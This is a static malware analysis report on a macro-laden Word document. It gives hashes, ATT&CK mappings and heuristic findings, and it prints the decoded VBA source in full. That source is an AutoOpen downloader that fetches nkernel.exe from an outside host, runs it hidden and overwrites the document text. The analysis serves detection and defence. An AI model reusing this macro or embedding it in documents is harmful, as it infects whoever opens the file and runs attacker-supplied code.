Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 27f81b1a33f8a1c2…

MALICIOUS

Office (OOXML)

21.8 KB Created: 2013-05-06 08:48:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2015-09-17
MD5: 18fafde6b736f652dc0f4b8247fb12e0 SHA-1: 37651200c0a838903253457aa3c5d87b5d3c4e80 SHA-256: 27f81b1a33f8a1c230d2b213b3192f230104e1cbf3a0762df71077e4bf61a81a
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen subroutine that utilizes URLDownloadToFile to download a file named 'nkernel.exe' from 'http://gets-adobe.com/fid/ZmlsZToxMTA4NzQzLy8/nkernel.exe' to the temporary directory. The macro then attempts to execute this downloaded file. The presence of URLDownloadToFile and Shell calls strongly indicates a downloader or droppper functionality.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell LocalFile, vbHide
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gets-adobe.com/fid/ZmlsZToxMTA4NzQzLy8/nkernel.exe Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1730 bytes
SHA-256: 93316c6b529de25a36fc863fa93ca53e517aa8f0bea3cfd7a1f18106a488b6b6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" _
                          (ByVal nBufferLength As Long, _
                           ByVal lpBuffer As String) _
                           As Long
Sub AutoOpen()
Dim ret As Long
        Dim HTTPfile As String, LocalFile As String
        Dim sBuffer As String
        Dim sPath As String
        Dim lBufPath As Long
        
        sBuffer = Space(255)
        lBufPath = GetTempPath(255, sBuffer)
        sPath = Left$(sBuffer, lBufPath)

        HTTPfile = "http://gets-adobe.com/fid/ZmlsZToxMTA4NzQzLy8/nkernel.exe"
        LocalFile = sPath & "nkernel.exe"

        ret = URLDownloadToFile(0, HTTPfile, LocalFile, 0, 0)
        Dim CurDirBackup As String
        Shell LocalFile, vbHide
        Selection.WholeStory
        Selection.Delete Unit:=wdCharacter, Count:=1
        Selection.TypeText Text:="Íå çàáûâàåì âñòóïàòü â íàøó ãðóïïó âêîíòàêòå! " + "ñêðèíøîòû èç èãðû, ñäåëàííûå íåâèäèìûì àäìèí-÷àðîì :)" + "Ôèêñ ëèñò âûëîæåí. Ñìîòðèì."
    
        
        
        End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: bb1072c9b9e685e2c7dfff801bbcb2707a1ca8b435666544eccb613499558bd2

Open this report in the interactive analyzer, or submit your own file for analysis.